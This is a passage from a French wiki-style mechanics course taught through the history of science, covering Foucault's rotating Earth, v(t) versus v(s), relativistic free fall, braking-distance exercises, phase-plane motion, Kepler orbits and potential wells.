permutation entre les différents mouvements de mains et de balles. === les trains de Foucault === Cet exemple est célèbre, car il permet de voir "tourner la Terre" (cf [[pendule de Foucault]]), sans regarder les étoiles, mais simplement en regardant un phénomène cinématique interne au référentiel Terre. Pour simplifier l'explication, nous supposerons l'expérience faite au pôle Sud S: sur deux voies circulaires, centrées sur l'axe des pôles, circulent deux scooters des neiges de même vitesse angulaire ABSOLUE,<math>\omega_o</math> (par rapport aux étoiles, par conséquent), mais l'un vers l'Est et l'autre vers l'Ouest. Ils se croisent en un point qui dérive continuellement vers l'Est, et qui fait 15° par heure, c'est à dire un tour par jour. Pour s'en convaincre, refaire le raisonnement en Arctique, au pôle Nord. D'autre part, les traces des 2 scooters ne seront pas les mêmes, car, par rapport au sol de la Terre qui tourne, leur vitesse n'est pas la même : <math>\omega_1 : = \omega_o + \Omega_T \cdot ;\cdot et : \omega_2 : = \omega_o - \Omega_T</math> , en particulier on peut prendre pour le deuxième scooter une vitesse absolue de rotation infime : il creusera beaucoup moins la neige sur le bord intérieur. ====Aparté:Complément de plaidoyer en faveur de Galilée :==== Galilée croyait que la Terre tournait: il fut condamné par l'Inquisition à abjurer le 22 juin 1633; Or évidemment , on peut reprendre le même raisonnement à l'équateur. Dans le cas balistique, il est clair qu'envoyer , par rapport à la Terre, un obus vers l'Est avec la vitesse 8.2km/s lui permet de décoller (certes péniblement : ). Envoyé vers l'Ouest, ce même obus s'écraserait au sol. La différence de vitesse +/- 0.464 km/s fait la différence. En appliquant les formules de Kepler, le calcul donne : vers l'Est, ellipse de grand axe 2a = 2R.(1.32), soit une apogée à une altitude H =0.64 . R vers l'Ouest, ellipse de grand axe 2a = 2R.(0.814), soit un périgée à une altitude négative H = - 0.372 . R '''Il n'y a pas Equivalence des Hypothèses ! L'Église a menti effrontément très longtemps ; en fait, dès que la déviation vers l'Est fût comprise''' Plus tard, le raisonnement dans le référentiel Terre, correctement mené avec force centrifuge et force de Coriolis, nous donnera le même résultat. Car on montre que vers l'Est, la force de Coriolis soulève l'obus. Vers l'Ouest, la force de Coriolis "force" sur le satellite vers le bas. Donc, La [[Grosse Bertha]] aurait dû tirer sur Paris à partir de Pontoise plutôt que de Meaux ! Et Mersenne eût été plus inspiré de tirer d'une éminence son boulet vers l'Est, puis l'Ouest et de comparer ( cf [[boulet de Mersenne]]): cela a d'ailleurs été fait par Tartaglia au XVIe, mais sans théorie! En tout cas, de Kourou ou du cap Canaveral , on lance les fusées vers l'EST : autant profiter de ces 464 m/s , "offerts" par le pivotement terrestre. Il est étrange, en 2005, de penser que Galilée n'ait pas su convaincre les juges de Rome. Quoi qu'en dise Minois ( Galilée et l'église, un malentendu), l'Église a dû être prise à contre-pied dans sa contre-réforme , dominicains et jésuites unis. Gassendi, le père minime [[Marin Mersenne]] (1588-1648), et bien d'autres certes, l'ont désavouée, mais sous le manteau. Descartes, très lâchement, ne fera pas connaître sa position, une fois Galilée condamné. '''Fin d'aparté''' ] == Distinction v(t) et v(s) == Le problème n'est pas le même sur une route, si on relève *la vitesse en chaque lieu v(s) ou *la vitesse à chaque moment v(t). ===Cas v(t)=== Dans ce second cas( le plus facile), on trace la courbe v(t) de t=0 à to. L'aire sous la courbe donne l'espace parcouru s(to): '''Exemple de Galilée''': si la vitesse augmente linéairement v(t) = gt , le déplacement sera s(to) = to*gto/2 (aire du triangle rectangle); soit s(t0) = 1/2 g to^2: le mouvement est dit uniformément accéléré. ===Cas v(s)=== Dans ce cas, on parle de [[diagramme des espaces]] : il faut considérer que, pendant un petit chemin ds , le temps dt mis pour le parcourir est dt = ds/v(s). Il faut donc sommer tous les dt pour obtenir la durée du parcours( de s=0 à so). Il faut donc tracer 1/v(s), et prendre l'aire sous la courbe, qui cette fois sera un temps. Si l'on reprend l'exemple précédent, il faut prendre la formule de Torricelli : v(s) = sqrt(2gs); donc ds/sqrt(s) =sqrt(2g).dt ; soit après intégration : s = 1/2 . g t² : évidemment le même résultat. Ceci dit, Galilée ne sût jamais faire ce raisonnement! Car il n'admettait pas le calcul "à la Cavalieri" ( le calculus d'aujourd'hui!).Torricelli, élève d'abord de Castelli, puis de Cavalieri, n'avait pas ces scrupules et a dépassé le Maître. === Exemple classique=== Il convient de bien faire la distinction entre v(t) et v(s), et souvent les jeunes enfants s'y laissent prendre: Pierre fait le chemin aller de A à B ( AB = 10km) à la vitesse de 12km/h. Au retour, plus fatigué, il court à 8 km/h. Question: arrivera-t-il avant ou après Jacques qui court l'aller-retour à 10km/h? La réponse est: Pierre arrive après Jacques; en effet il a couru moins d'une heure à 12km/h et plus d'une heure à 8km/h, donc sa moyenne de vitesse est inférieure à 10km/h. Ce raisonnement qualitatif est à bien maîtriser: la moyenne harmonique de vitesse est toujours plus petite que la moyenne arithmétique ( cf [[moyenne]]). === Isomorphisme=== Il faut bien comprendre qu'en cinématique, le problème se réduit à résoudre 2 '''équations différentielles''' simple : v= f(t) et v = g(x) et il convient de ne pas les confondre. Il n'est pas très évident au départ de passer de l'une à l'autre. Reprenons l'exemple de Galilée d'accélération constante , disons ao , et donc v(t) = ao t + v(0) = f(t) donc x(t) = F(t) où F(t) est primitive de f(t) . En éliminant t entre f(t= et F(t) , on aura la relation v = g(x), ici v²(x) -v²(0) = +2ao (x-x(0)), soit v = g(x) ( = sqrt( 2ao.x) , dans le cas le plus simple. De méme si on a v = g(x) alors dt = dx/v = dx/g(x) et soit un primitive H(x) de cette fonction ; alors on peut en déduire x(t)= F(t) puis v= g(F(t))= F't)= f(t). Mais il est vrai que si ces deux cheminements sont exacts, techniquement ils seront plus ou moins faciles à réliser. Alors intervient là une notion capitale : Descartes a dit : commence par le plus simple ; puis va par ordre de difficulté croissante. Donc , on commence par v = gt ou v = sqrt( 2gx); et l'une des résolutions aide l'autre éventuellement. Descartes a d'autre part dit : peu importe les '''lettres''' d'un problème. Si on sait résoudre dx/dt = sqrt( 2gx), on sait aussi résoudre <math> \frac{d\aleph(\kappa)}{d\kappa}= \sqrt{ A_0 \cdot \kappa}</math> ; ce sera <math> \aleph^2 = 2A_0 \cdot \kappa + cste</math> ,sous la simple réserve de savoir que <math> \kappa -> \aleph(\kappa)</math> est une fonction réelle C1 de la variable réelle. S'habituer à changer les lettres d'un problème est une bonne habitude à prendre. Depuis le CM2 , les élèves sachant réciter leur table de Pythagore en anglais ou en grec , ont pris de l'avance sur leur petits camarades. Voici un exemple classique sur lequel ont achoppé beaucoup d'élèves (même des bons) : résoudre <math> \frac{d^2 \theta}{dx^2} + e^{\theta} = 0</math> . Beaucoup ont déclaré : on ne sait pas faire! Alors même que l'exercice <math> \frac{d^2 x}{dt^2} + e^{x} = 0</math> avait donné 80% de succès ! Évidemment un correcteur ne sait que dire ! il constate ! l'équation du second degré b y²+ cy +a =0 est plus dure à résoudre , paraît-il ! Le constat est là . Tout professeur qui n'explique pas '''longtemps''' tout cela aux élèves faillit à sa mission.Il est logique après d'en récolter les conséquences. ===(Exemple relativiste de Bertozzi)=== cet exemple est de niveau nettement plus élevé et peut être sauté en première lecture. '''C'est la modification en relativité restreinte de l'exemple de Torricelli'''. On ne s'étonnera point de ce que, au début du mouvement, le résultat soit voisin de celui de Torricelli, mais qu'à la fin du mouvement, v reste limitée par la vitesse-limite c. L'expérience fut réalisée par Bertozzi et donna les résultats escomptés par la relativité restreinte avec une précision remarquable. v(z) est donnée par l'équation [ dite théorème d'énergie cinétique d'Einstein] : <math>\frac{1}{\sqrt(1-v^2/c^2)} mc^2 = mc^2 +mgz</math> On en tire v(z), et il "ne reste plus qu'à faire" les calculs : on conseille d'utiliser la méthode graphique ou numérique; mais ceux qui possèdent plus d'habileté mathématique retrouveront les expressions suivantes : z = c²/g( sqrt[1+(gt/c)²]-1) ET dz/dt = v(t) = gt/sqrt[1+(gt/c)²] qui satisfont l'équation précédente dont la solution était unique : c'est donc la bonne (c'est un bon exercice de le vérifier si on sait manier les dérivées). Que constater ? si gt/c <<1, v= gt et z = 1/2gt² : Galilée avait raison. Mais si t devient grand devant c/g, v sature à la vitesse-limite c et x = ct -c²/g + O(c²/gt): Einstein a raison : la particule ne peut pas être plus loin que ct. '''Note:''' les Gens Savants auront reconnu que si on pose la "rapidité" r telle que v = c th r , alors, c'est la rapidité qui croît linéairement r = gT avec le temps "propre" T , ce qui est conforme au principe de relativité galiléenne (il suffit de raisonner à chaque instant t dans le référentiel galiléen tangent: cette solution en effet très élégante est d'Einstein lui-même) On constate que t = c/g sh gT/c ['''remarque:''' T fonction monotone de t est donc une échelle de temps ; c'est le grand mérite d'Einstein et de Poincaré d'avoir fait réfléchir profondément sur cette notion des différentes échelles de temps] ; et donc au bout de T = 3c/g , t = ~ c/2g exp gT/c , c'est à dire que l'horloge de la particule ralentit énormément T~ c/g Ln (2gt/c) enfin on peut vérifier que z = c²/g [ch(gT/c) -1] Ainsi va le monde un peu étrange des particules rapides : c'est vérifié des milliers de fois dans les accélérateurs; Einstein a simplement amélioré Galilée et Newton : la Relativité Restreinte est une réalité, banale pour qui voyage à une vitesse proche de c . Et voici plus SPECTACULAIRE : la démonstration de Torricelli continue donc de marcher, c'est ce qu' a affirmé Einstein : quand la particule, au temps to, a la vitesse v(to)= g.to/sqrt[1+(g.to/c)²], à la position z(to) = c²/g( sqrt[1+(gto/c)²]-1), Torricelli dit : ceci est "comme rien" dans le référentiel de vitesse v(to); je peux donc écrire dans ce référentiel V= gt' et Z = 1/2 g t'²; et ceci est exact ! mais attention!dans la cinématique d'Einstein, l'intervalle de temps t' apparaît comme un intervalle dilaté : t = t'/sqrt(1-v(to)²/c²) ET D'AUTRE PART la formule d'addition des vitesses est légèrement changée en relativité restreinte : [v(to) ^+^ V] vaut en fait [v(to)+V]/(1+v(to).V/c²), soit ici puisque V est très petite : v(to)+ V(1- v(to)²/c²) + ... = v(to) + gt (1-v(to)²/c²)^3/2 : Torricelli (-corrigé par Einstein-) trouve donc que v(to+t)-v(to) = gt .(1-v(to)²/c²)^3/2 pour t très petit (devant c/g!): c'est donc écrire dv/dt = g (1-v²/c²)^3/2 , ce qui redonne en intégrant , merveille : v(t) = gt/sqrt(1+g²t²/c²), le résultat escompté! Torricelli, lui-même, aurait tiré son chapeau devant Einstein : le principe de Relativité de Galilée continue de marcher ! mais avec une condition supplémentaire qui fait toute la beauté de la relativité restreinte : la contrainte [v < c toujours] a bouleversé la cinématique de Newton de fond en comble. Nous verrons plus tard que la théorie d'Einstein est pourtant la plus simple qui soit, compte-tenu de cette contrainte. ==Conclusion-Résumé== Cette leçon n'apporte pas grand-chose du point de vue physique; mais évidemment du point de vue philosophique, cela a pris un temps considérable, lorsque le temps était représenté par une longueur sans unité, pour distinguer ce qui nous semble évident aujourd'hui: v= f(t) et v= g(x) et donc écrire : <math> x(t) = \int_0^t f(u)du </math> ET <math> t = \int_0^s \frac{1}{g(x)}dx </math> En fait, cela a pris quelques dizaines d'années après que Galilée et Cavalieri aient commencé à y réfléchir. On verra dans la prochaine leçon-6 (plan de phase)que l'équation dx/dt = g(x) est très commune et qu'il convient de bien savoir " l'intégrer". --- [aparté:Par contre, pour passer à la relativité restreinte, il a fallu qu'expérimentalement des particules commencent à avoisiner la vitesse c : dans le monde astronomique, cela n'a pas été le cas dans le système solaire ; donc on ne s'en est pas préoccupé, durant deux siècles. Aujourd'hui, on sait même qu'il existe des trous noirs dans Notre Galaxie. L'astrophysique relativiste est un savoir nécessaire. Mais il est clair que ce sont des geganken-chefs de gare regardant passer des gedanken-trains qui ont guidé Einstein, à partir du moment où il voulait résoudre ce paradoxe : v < c toujours ! fin d'aparté] ==Exercices== Heureusement , les exercices ne sont pas tous du niveau de l'exemple de Bertozzi! En voici de plus faciles, tous fondés sur la loi de Torricelli : sur une courbe située dans un plan vertical , où se déplace une perle sans frottement, la perle ne peut jamais remonter plus haut que le point de vitesse nulle, et si on part de ce point, v² = 2g h(s), quand la particule descend de h. Nous avons déjà traité certains de ces cas dans la leçon plan-incliné. Plus généralement, et écrit un peu différemment compte-tenu du concept d'énergie cinétique et en orientant l'axe des z vers le haut, le principe de Torricelli , repris par Huygens , s'écrit : {{exemple|Enoncé|loi de conservation énergétique de Torricelli(1608-1647)|<math> \frac{1}{2}mV^2 + mgz(s) = cste </math>}} ===Exercice-vallon === Une perle se déplace sur une ligne horizontale sans frottement avec la vitesse Vo ; elle glisse alors dans un vallon demi-circulaire de rayon R , au point A et ressort au point B , 2R plus loin avec la même vitesse Vo ( on suppose bien sûr que les virages ont été alésés!). A-t-elle gagné ou perdu du temps ? Ceci reste-t-il vrai pour toute forme de vallon? ====Solution-vallon==== Le puits étant symétrique, il faut et il suffit de savoir si le temps de remontée T est supérieur à R/Vo . Or à la remontée la vitesse v(s) vaut sqrt[ Vo²+2g cos (s/R)] . Le problème se ramène donc à savoir si : <math>\int_0^{\frac{\pi}{2}} d\theta \cdot \frac{1}{\sqrt(1 + k cos \theta)} > 1 ; avec, \cdot k = 2gR/V_o^2</math>. La réponse est donc : si la perle va vite (k < 1), alors elle est retardée (minorer par k=1 donne sqrt(2) .Ln(1+sqrt(2) qui est plus grand que 1 . Par contre si k est très grand, c'est à dire à la limite, si la particule tombe dans le vallon avec une vitesse quasi-nulle , elle mettra une demi-période pendulaire pour arriver sur l'autre bord , ce qui sera beaucoup moins que 2R/Vo : conclusion : il y a une vitesse critique Vo pour laquelle c'est équivalent; au-delà la perle perd du temps. ===Exercice- monticule de Huygens=== Même exercice que précédemment mais la perle doit escalader un monticule en forme d'arche de cycloïde ( là encore les coudes ont été alésés): bien sûr Vo > sqrt(2ga).De combien retarde-t-elle? ====Solution monticule de Huygens==== Là , c'est clair, elle monte la cote plus lentement sur un chemin plus long : il y a retard sur la moitié. Le retard double sur l'autre moitié. Le calcul est aisé si Vo est très grand : il suffit de dire que V =~Vo tout le temps , et donc que le retard est [L-2Pi.a]/Vo et la longueur de l'arche d'une cycloïde est le problème de Pascal-Dettonville : L = 8a . Soit retard = (8-2Pi).a/Vo . Si Vo = sqrt(2ga +eps) , le retard peut être aussi long qu'on veut. === Exercice crucial du code de la route : la distance de freinage === Quand les pneus ne dérapent sur de l'huile ou du verglas, ils ont été calculés pour donner la meilleure adhérence possible avec l'asphalte. néanmoins au mieux , la décélération ne peut dépasser 0.6 g. Compter un quart de seconde( soit to) le temps d'appuyer sur le frein , et calculer la distance d'arrêt . ====distance de freinage ==== Soit Vo la vitesse initiale de la voiture, la voiture parcourt Vo.to + Vo²/(1.2 g). Application numérique: à 144km/h , soit 40m/s , Voto fait 10m. et le deuxième terme fait 400/3 =399/3 = 133 m ! === la mort d'Erton Senna=== Le grand pilote Erton Senna a heurté à 288km/h un poteau bordant la piste: on peut estimer la durée du crash à 1 seconde . La cervelle est molle et se déforme à 4.g .La tête des conducteurs est assez bien fixée dans le cockpitt. Montrer qu'on a retrouvé Senna sur son siège, la cervelle ayant pressé sur les orbites oculaires. Montrer qu'un crash à 144km/h a similairement opéré sur Albert Camus. Montrer que une voiture "pliable" + un air-bag , permettant un "amorti en 2s ", l'aurait peut-être sauvé. ====réponse==== c'est trop simple ! réduction de 80m/s en 1s , cela fait 8g. Le crâne ne bouge pas , la cervelle oui. A 4g , c'est le fameux voile noir sur les yeux; pour Albert Camus , les tractions avant de l'époque étaient plutôt rigides et c'était l'habitacle qui ne l'était pas . De nos jours, l'habitacle très rigide écrase "doucement" l'avant ; les air-bags font le reste , dans la mesure du possible. Évidemment on ne peut pas rendre l'habitacle rigide et bien "encaisser" les chocs latéraux.Il faut absolument que la voiture ne dérape pas de manière inégale avec un frein avant puissant et déséquilibré: les révisions des freins , c'est une nécessité. L'alcool et le shit c'est une affaire de civisme. Mécanique, enseignée via l'Histoire des Sciences, plan de phase(Section6) 8726 46583 2006-06-29T23:13:06Z Guerinsylvie 928 /* Solution montée puis chute */ ébauche il faut que je rapatrie non le fond , mais la forme ! Leçon : diagramme des espaces; plan de phase Nous suivons la démarche de Poincaré : il s'agit ici de faire comprendre , à travers des exemples sur une droite x'Ox, que la donnée de [x0,v0] et de la règle donnant [x(t+dt);v(t+dt)]= f( [x(t);v(t)],t) est l'algorithme fondamental de la dynamique: alors appliquant la méthode point par point de Picard, cette équation différentielle a une solution unique, sous réserve de régularité sur la fonction f. == Mouvement de Torricelli(1608-1647) == C'est historiquement le premier cas de mouvement périodique, pouvant théoriquement constituer une HORLOGE. Mais Torricelli n'en considérait pas la réalisation pratique: seul le phénomène mathématique l'intéressait (de Motu, 1641). Il s'agit du cas: v^2(z) = Vo^2-2.g.|z|. Prendre le cas où au temps initial, le mobile M se trouve en z=0, avec la vitesse +V0 : il se dirigera vers le haut jusqu'à ce que z = H1 = sqrt( Vo^2/2a). Ce parcours aura pris le temps t1 = V0/2g = sqrt(2H1/g). Mais le mobile ne s'arrête pas là, comme l'a bien analysé Galilée. L'accélération restant négative, le mobile repart dans l'autre sens, avec la même vitesse aux mêmes points: donc c'est juste le même mouvement mais en sens inverse , et le mobile se retrouve à l'origine au temps 2t1, avec la vitesse -Vo. Il refait ainsi vers le bas exactement ce qui s'est passé vers le haut.Puis , il y a rebond élastique. Au total, le mouvement est périodique de période T = 4t1. Expérimentalement, Galilée opérait sur deux plans inclinés formant un V; pour des raisons pratiques, le coin est alésé, et il vaut mieux prendre un boulet lourd qui roule sans glisser, avec une faible résistance au roulement. On peut "tricher", pour compenser le léger amortissement, en inclinant en cadence le chemin de roulement en V, de manière que S1 reste le même. Si une balle rebondissait de manière élastique sur une raquette parfaite, on aurait exactement le même type d'horloge, à condition de contrôler le mouvement de la raquette (cf Problème de Fermi-Pasta-Ulam [[chaos contrôlé ]]). Ceci est un exemple très simple de mouvement dans un [[puits de potentiel]] == Mouvement de Kepler selon Leibniz(1689) == C'est un cas très célèbre de mouvement dans un [[puits de potentiel]]. Dès 1689, Leibniz a su comprendre le mouvement radial d'un satellite en écrivant SON équation de l'énergie cinétique ( à l'époque, on disait équation des forces vives) : <math>m \ddot{r} = -\frac{mgR^2}{r^2} + \frac{L_o^2}{mr^3}</math> soit après intégration ( on multiplie par v des 2 côtés et on intègre par rapport au temps) : <math>E_0 = \frac{1}{2} m \cdot \dot{r}^2 + \frac{C^2}{2mr^2} - \frac{mgR^2}{r}</math> Il s'agit donc du mouvement dans un [[puits de potentiel]] U(r), si Eo est négative. Les limites de ce puits s'appellent SP = r minimum = distance périgée et SA = r maximum = distance apogée, racines de l'équation U(r) = Eo. Soit Lo²/2m (1/r)² - mgR² (1/r) - Eo = 0 , équation du second degré en 1/r : Leibniz remarqua immédiatement que la demi-somme 1/2(1/SA +1/SP) , appelée moyenne harmonique et égale à 1/p est indépendante de Eo (règle 1 de Leibniz), et que la somme (SA +SP) = 2a était indépendante de Lo (règle 2 de Leibniz) : cf [[mouvement keplerien]]dans la WP. L'équation réécrite avec 2a et p devient : U(r)/m - Eo/m = Lo²/2m² (1/r² - 2/pr + 1/pa) = -1/2 (dr/dt)². L'"astuce" usuelle dans ce genre de problème est de considérer la variable phi telle que r= a -c.cos<math>\phi</math> , phi variant de 0 à Pi en passant du périgée à l'apogée. Alors l'intégration est beaucoup plus facile , et donne la célèbre équation de Kepler : <math>\omega t = \phi - e \cdot\sin\phi</math> En exprimant la fonction réciproque, on obtient phi(t) et donc r(t). (cf [[mouvement keplerien]]). Ici <math>\omega</math> représente la pulsation du mouvement périodique dans le puits. On retrouve la troisième loi de Kepler : <math>\omega^2 \cdot a^3 = gR^2</math> , indépendante de l'excentricité de la trajectoire elliptique décrite. L'équation donnant l'angle polaire se trouve via l'intégration de la deuxième loi de Kepler : <math> C = \frac{\pi a b}{T} = r^2\dot{\theta}</math> == Un nouveau concept: l'Action S(E) en joule-seconde== dans le cas de ces deux exemples, où l'orbite dans le plan de phase est périodique, chaque orbite (C(E)) est caractérisée par son énergie E qui reste constante( E = mgH1 dans le premier exemple , et E= -mgR^2/2a dans le cas de Kepler) et la période T(E) pour faire le tour de l'orbite dépend de cette orbite (C(E)). On peut aussi calculer la surface de l'aire enclose dans cette orbite <math> S(E) = \int_{C(E)} p(x)\cdot dx</math> . Cette quantité est fonction croissante de E , et l'on peut aussi bien indicer les orbites par S : on notera sans qu'il y ait ambiguité l'orbite par (C(S(E)))ou plus simplement (C(S)). L'unité d'Action est le joule-seconde. On verra bien plus tard que toute la mécanique pourra se résumer en le "Principe de moindre Action", énoncé par Maupertuis et repris par Euler et Lagrange. ===Exercice: T = dS(E)/dE === Voilà quelque chose qui peut surprendre au premier abord! Du point de vue homogénéité non ; du point de vue du signe non plus , puisque plus l'aire enclose est grande et plus E est grande , donc T est positive! Dans le cas qui nous préoccupe l'orbite est symétrique p/-p , donc <math> S(E) = 2\int_{x=a}^{x=b} p(x)\cdot dx</math> avec p= sqrt[ 2m(E-V(x))], dont la dérivée par rapport à E est p.dp/dE =m ; soit donc dp/dE = m/p = 1/v(x). Donc <math> dS(E)/dE = 2\int_{x=a}^{x=b} \frac{1}{v(x)} dx</math> . On reconnaît la période du diagramme des espaces aller-retour dans un puits de potentiel, soit T(E). ===S(E) et la mécanique quantique=== *En mécanique quantique, on montre qu'aucune orbite de l'espace des phases ne peut se réduire à un point. Il y a une surface minimale, disons So =1/2 . h , h étant la constante de Planck. De ce fait, il y aura toujours une énergie minimale à ce niveau fondamental Eo ; ensuite il est habituel de graduer les aires de niveau S par nombre entier de h : S(n) = So + n.h. A la limite des grandes valeurs de n , on aura donc dE/dn = h/T(E) , ce qui est une des règles de correspondance entre mécanique classique et mécanique quantique.En particulier, on peut retenir, pour un oscillateur harmonique : E(n) = (n+1/2) \hbar \cdot _omega_0 *Une autre raison de connaître n(E)= S(E)/h -So/h est que cela servira pour mémoriser facilement toutes les formules d'effet tunnel qui sont si importantes dans les applications ( transistor , Microscope à effet tunnel , Ecrans plats de télévision à émission de champ, etc.) ==Puits de Potentiel == Soit une courbe plane, située dans un plan vertical, en forme de cuvette. Un point matériel, de masse m, s'y meut, en glissant sans frottement. La conservation de l'énergie (c'est à dire le Principe de Torricelli, ici) donne, en prenant l'abscisse curviligne s(t) comme inconnue, l'équation du mouvement de ce point: <math>\dot{s^2} + 2g h(s) = 2E/m := 2gH</math> qui s'appelle en mathématiques une équation différentielle de Leibniz , liée à l'équation différentielle de Newton du second ordre : <math>\ddot{s} + g \frac{dh}{ds}= 0</math>. De l'équation de Leibniz, on tire la vitesse v(s)= (+/-) sqrt(2g.[H-h(s)]). Ce qui ramène à l'étude d'un diagramme horaire. Par exemple le cas simple (dit de Torricelli) de h(s)=|s| y est étudié. Il arrive que l'on considère en physique une équation similaire : le mouvement d'un point matériel sur un axe x'Ox, sous l'action d'une force F(x) : <math>\ddot{x} = F/m := g(x)</math> ( On appelle énergie potentielle V(x) est l'opposée de la primitive de F(x)). La conservation de l'énergie donne le même type d'équation de Leibniz: <math> \frac{1}{2} m{\dot{}x}^2 +V(x) = E_0</math> On dit alors que la particule est confinée dans un puits de potentiel, sur l'intervalle [a,b], a et b, racines contiguës de V(x)= Eo. Sur cet intervalle , la particule exécutera un parcours périodique. Dans le plan de phase l'orbite sera périodique. ==Cuvette symétrique== Soit l'origine O, au fond de la cuvette, sans restriction de généralité. Soit A le point d'abscisse s = a telle que h(A)= H. Le mouvement se décrit qualitativement fort bien : la vitesse, maximale en O, ne cesse de décroître jusqu'à l'arrivée en A , au temps t1. Puis la particule rétrograde selon le même mouvement, et arrive en O, avec la vitesse opposée. Elle décrit alors l'autre bord de la cuvette,symétriquement, jusqu'au point symétrique A' et revient : le mouvement est périodique de période T = 4 t1. La méthode du diagramme horaire s'applique bien à ce cas qui peut donc s'expliquer et s'expérimenter sans de hautes mathématiques; ensuite, on peut ainsi tracer T(H). ===Exemple: la cycloïde de Huygens (1659)=== Huygens a trouvé quelle devait être la forme de la courbe pour que les oscillations soient isochrones : il fallait une cuvette qui se relevât plus vite que le cercle osculateur en O, de rayon R = 4a; il trouva que la cycloïde convenait. Alors <math>T(H) = cste = T_o = 2\pi \sqrt {R/g}</math>. Le phénomène est tout à fait extraordinaire et splendide à regarder avec 2 cycloïdes identiques, parallèles, de R = 4 mètres, d'envergure 12.5m environ. Il est aussi très somptueux de procéder avec une troisième cycloïde, de R= 1m : Une joue étant celle de la première cycloïde et l'autre celle de la troisième, le signal entendu est tic-tac-tic---toc---tic-tac-tic---toc, de période 3s environ , ceci quelle que soit l'envergure du mouvement, depuis quelque 10cm à quelques m: c'est assez extraordinaire à voir et entendre. Pour le montage, on aura soin de calculer la bonne longueur de la suspension bifilaire associée à la masse d'environ 1kg (détails techniques : penser à l'ajustement compte-tenu de l'effet pendule-double; sinon, il faut que la masse soit un disque monté sur d'excellents roulements à bille, dont l'axe sera serti dans une perle oblongue passée dans le bi-fil. De plus, il faut évidemment prendre du fil INEXTENSIBLE, sous une charge de 3kg. Enfin, il faut fixer solidement l'ensemble des joues pour éviter tout mouvement du support, en définitive assez lourd ). ===Taux d'Harmoniques=== l'oscillation n'est pas en général harmonique. Il est usuel de poser: <math> v^2(s) = N^2(s)(a^2-s^2)</math>, et s=a.cosφ.Ainsi: <math>t= \int_0^{\phi}\frac{du}{N[a(H)cos(u)]}</math> et <math>T(H)= 4\int_0^{\frac{\pi}{2}}\frac{du}{N[a(H)cos(u)]} </math> la fonction N(s) (en Hertz) étant généralement bornée:N1 < N < N2 , alors T2 < T(H) < T1. * Le cas du pendule cycloïdal, vu dans le paragraphe précédent, est le plus facile, car N(s)= cste = No , donc T(H)= cste= To. * Niveau plus élevé : Le cas du pendule simple , beaucoup plus difficile à analyser, est assez banal ( on dit générique ): si la cuvette présente un sommet arrondi concave, de hauteur Hmax, alors usuellement T(H) tend vers l'infini logarithmiquement quand H tend vers Hmax . Cet effet de ralentissement est appelé effet Ramsauer en physique nucléaire et a son correspondant en mécanique quantique. Il ressemble beaucoup à l'effet "soliton" , analysé dans l'article pendule simple: soit la décomposition en série de Fourier de s(t): <math>s(t)= \Sigma b_n cos [\frac{2\pi n t}{T(H)}]</math>, le taux d'harmoniques est pratiquement non décroissant jusqu'à une valeur <math>\aleph_0(H)</math>, puis s'écroule exponentiellement (donc très vite),dès que n > <math>\aleph_0(H)</math> : cela est essentiellement dû au caractère indéfiniment dérivable de s(t), c'est à dire à la "régularité" de la cuvette ( cf Appell, mécanique, 1915). * {{Note annexe : préciser, néanmoins, qu'il ne faudrait pas croire que l'anharmonicité soit toujours dû à ce mécanisme de ralentissement T(H); on connaît des cas de cuvettes (non-symétrique) où T(H) = cste= To , mais où l'anharmonicité devient très grande ( la fonction périodique s(t) ressemble alors à de la houle très pointue; un exemple est V(x) = x -sqrt(x)),étudié en physique des plasmas)]]. * Enfin , il reste les cas où V(x) présente des singularités : le cas évident est celui d'une particule simplement bloquée entre deux murs reflecteurs: |x|<a . Alors on a évidemment la vitesse v(x) constante (au signe près), égale à sqrt( 2E/m) et la période T(E) = 2 a/sqrt(2E/m). L'analyse de Fourier de s(t), qui est une fonction "triangle", donne des coefficients qui décroissent comme 1/n^2 et non pas exponentiellement. * D'autres types de puits de potentiel plus complexes existent [ on pensera à (exp-x²).x^10.(x-a)².sin a²/(x-a)², où le nombre de racines de V'(x) augmente indéfiniment quand x tend vers a] : ces problèmes à plusieurs "fenêtres de sortie" donneront du mal à être quantifiés en mécanique quantique : c'est le problème des barrières de potentiel double , voire triple en radio-activité. Fin de note annexe}}. ===Quelques cas de cuvettes symétriques=== * La cuvette soliton : U(x) = -g²/ch²x On trouve : x(t) = argsh [sha.sin wt] ; avec sha = sqrt[(g²+E)/(-E)] et la période T(E) = sqrt(2).Pi/ sqrt(-E) * la cuvette soliton modifiée : U(x) = g²/sin²(x) On trouve : x(t) =arc cos (cosa .cos wt) avec cosa = sqrt(1-g²/E) et la période T(E) = sqrt(2)Pi/sqrt(E) * la cuvette de Jacobi : U(x) = g²/sn(x,k) On trouve la période T = 4/c K(k") avec c²= 2(E-g²k²) et k" =k²(E-g²)/(E-g²k²), K(k) étant la fonction elliptique de première espèce. * la cuvette U(x) =g².ch(2x) : On trouve la période d'oscillation T = 4/a K(k) , avec a = sqrt(E+g²) et k² = (E-g²)/(E+g²) * Remarque : par symétrie de Corinne, à ces cuvettes correspondent des barrière de potentiel , dont on peut évaluer en mécanique quantique l'effet tunnel ; c'est une des raisons de trouver un maximum d'exemples pour pouvoir interpréter nombre d'expériences. ===**Détermination de h(s) gràce à l'observation de T(H)=== Cela s'appelle résoudre un problème inverse. Landau et Lifschitz ( mécanique, ed Mir) traite ce '''problème difficile'''. La notion mathématique qui s'applique bien ici est la notion de dérivée fractionnaire d'ordre 1/2, dite d'Abel. En fait c'est la fonction réciproque s(h) que l'on détermine ( on a déjà vu dans le cas du pendule simple que h (et non s) est la bonne fonction inconnue, et alors on en déduit s(h(t)) ):la formule est : <math>s(h) = \frac{1}{2\pi}\sqrt g \int_0^h \frac{T(H)dH}{\sqrt{h-H}}</math> , dont on vérifie immédiatement l'homogénéité s= sqrt(gHo)To. Voir ci-dessous la démonstration. ====Expérimentation==== Ayant récupéré la courbe T(H) expérimentalement, il n'est pas trop difficile sur une calculette de programmer la courbe précedente s(h). C'est en principe ce qui termine un Travail Pratique expérimental. Le soin à apporter au tracé de T(H) n'est pas trop crucial, mais on a parfois des surprises! ====quelques vérifications de cas connus==== * la cuvette de Torricelli ( cf diagramme horaire)avec T=4sqrt(2H/gsinα: s= h/sinα. * la cycloïde isochrone : s(h) telle que s^2(h) = 16 a h. * et aussi toutes les cuvettes de potentiel en V(x) = x^k , qui satisfont automatiquement au théorème du viriel, dont * le mouvement de Kepler : T² =a³ = 1/(-E)³ , qui donne bien U ~ -1/|s|. * si on rajoute la barrière centrifuge, la cuvette est non symétrique, mais le raisonnement ( adapté)donne bien , quel que soit le moment cinétique, le résultat, U ~ -1/r. * la cuvette h= Ho 